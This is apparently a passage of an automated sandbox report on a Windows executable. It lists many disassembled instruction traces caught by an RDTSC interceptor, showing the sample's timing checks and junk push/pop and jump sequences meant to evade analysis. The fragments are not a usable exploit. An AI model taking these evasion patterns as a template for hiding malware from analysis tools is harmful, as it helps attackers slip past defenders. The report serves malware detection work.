Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CAFFE second address: 5CB02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAA08D7CA2Bh 0x0000000f jmp 00007FAA08D7CA37h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB02A second address: 5CB034 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAA08929776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB16F second address: 5CB185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08D7CA2Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB185 second address: 5CB18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB18F second address: 5CB19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB19E second address: 5CB1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007FAA08929776h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5CB1AD second address: 5CB1B2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF568 second address: 5DF59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FAA08929789h 0x0000000c jp 00007FAA08929778h 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jc 00007FAA08929776h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF0AB second address: 5DF0C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FAA08D7CA2Ah 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF1EC second address: 5DF1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF1F2 second address: 5DF1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF1F6 second address: 5DF1FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF1FA second address: 5DF20C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF20C second address: 5DF21C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA08929776h 0x00000008 jbe 00007FAA08929776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF21C second address: 5DF23A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA38h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5DF23A second address: 5DF23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5ECFBF second address: 5ED00A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAA08D7CA39h 0x00000008 jmp 00007FAA08D7CA30h 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007FAA08D7CA35h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5ED00A second address: 5ED00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5EEF0C second address: 5EEF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5EEF12 second address: 5EEF35 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA08929776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FAA08929778h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FAA0892977Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F5E79 second address: 5F5E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F49C2 second address: 5F49CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FAA08929776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F4B64 second address: 5F4B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F4B6B second address: 5F4B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F50E7 second address: 5F5105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAA08D7CA39h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F5105 second address: 5F5128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929789h 0x00000007 jg 00007FAA0892977Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F5128 second address: 5F5147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FAA08D7CA34h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F5147 second address: 5F514B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F52C1 second address: 5F52CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F76A4 second address: 5F76C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FAA0892977Ch 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F76C0 second address: 5F76C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5F76C6 second address: 5F76CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC274 second address: 5FC285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAA08D7CA26h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC285 second address: 5FC29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08929785h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC29E second address: 5FC2A8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAA08D7CA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC3D2 second address: 5FC3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC3D6 second address: 5FC3F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA08D7CA2Ch 0x0000000b popad 0x0000000c ja 00007FAA08D7CA34h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 5FC3F2 second address: 5FC3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 609AD6 second address: 609AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 609AEC second address: 609AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 60B156 second address: 60B15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 605A7C second address: 605A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FAA0892977Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007FAA08929776h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 605A92 second address: 605AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FAA08D7CA2Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jne 00007FAA08D7CA26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 605AB1 second address: 605AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA08929788h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 605AD1 second address: 605AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 605AD7 second address: 605ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184AC second address: 6184B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184B2 second address: 6184BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184BA second address: 6184D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAA08D7CA31h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184D5 second address: 6184DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184DB second address: 6184E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184E6 second address: 6184EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6184EC second address: 618503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007FAA08D7CA32h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 618503 second address: 61850D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAA08929776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 61850D second address: 618530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FAA08D7CA31h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 619C66 second address: 619C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAA08929776h 0x0000000a popad 0x0000000b jmp 00007FAA08929782h 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 619C8A second address: 619C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 61C3B2 second address: 61C3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 61C3B6 second address: 61C3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 61C533 second address: 61C552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAA08929786h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 630A17 second address: 630A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAA08D7CA26h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 630A22 second address: 630A2E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAA0892977Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62F931 second address: 62F935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62F935 second address: 62F939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62F939 second address: 62F942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62F942 second address: 62F951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FAA08929776h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62F951 second address: 62F955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FAA2 second address: 62FAD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929786h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAA0892977Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FC26 second address: 62FC4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAA08D7CA36h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e jc 00007FAA08D7CA26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FD9E second address: 62FDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jns 00007FAA08929776h 0x0000000c jmp 00007FAA08929780h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FDBB second address: 62FDC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FDC1 second address: 62FDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAA08929776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 62FDCB second address: 62FDD5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA08D7CA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 63030A second address: 630314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAA08929776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 630314 second address: 630318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 630318 second address: 63032A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FAA08929776h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6305D7 second address: 6305E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FAA08D7CA26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6305E6 second address: 6305EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6305EA second address: 6305EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 634FAD second address: 63501B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAA08929778h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jo 00007FAA08929778h 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop eax 0x00000018 popad 0x00000019 nop 0x0000001a sub dword ptr [ebp+122D192Eh], ecx 0x00000020 push dword ptr [ebp+12461995h] 0x00000026 call 00007FAA0892977Bh 0x0000002b xor edx, dword ptr [ebp+124613CAh] 0x00000031 pop edx 0x00000032 call 00007FAA08929779h 0x00000037 jmp 00007FAA08929786h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jg 00007FAA08929776h 0x00000046 jmp 00007FAA0892977Ah 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 63501B second address: 635055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e jmp 00007FAA08D7CA2Fh 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edx 0x00000017 jng 00007FAA08D7CA2Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6362AF second address: 6362BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FAA08929776h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6362BF second address: 6362D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 6362D2 second address: 6362E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 553EDA second address: 553EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E8030E second address: 4E8031D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E8031D second address: 4E80425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007FAA08D7CA33h 0x00000012 sbb si, 2E0Eh 0x00000017 jmp 00007FAA08D7CA39h 0x0000001c popfd 0x0000001d pop esi 0x0000001e call 00007FAA08D7CA31h 0x00000023 pushfd 0x00000024 jmp 00007FAA08D7CA30h 0x00000029 sub ecx, 4DD9F7B8h 0x0000002f jmp 00007FAA08D7CA2Bh 0x00000034 popfd 0x00000035 pop ecx 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007FAA08D7CA36h 0x0000003d xchg eax, ebp 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FAA08D7CA2Eh 0x00000045 and esi, 1CBBD148h 0x0000004b jmp 00007FAA08D7CA2Bh 0x00000050 popfd 0x00000051 call 00007FAA08D7CA38h 0x00000056 mov ah, 3Eh 0x00000058 pop edx 0x00000059 popad 0x0000005a mov ebp, esp 0x0000005c jmp 00007FAA08D7CA2Ah 0x00000061 mov edx, dword ptr [ebp+0Ch] 0x00000064 push eax 0x00000065 push edx 0x00000066 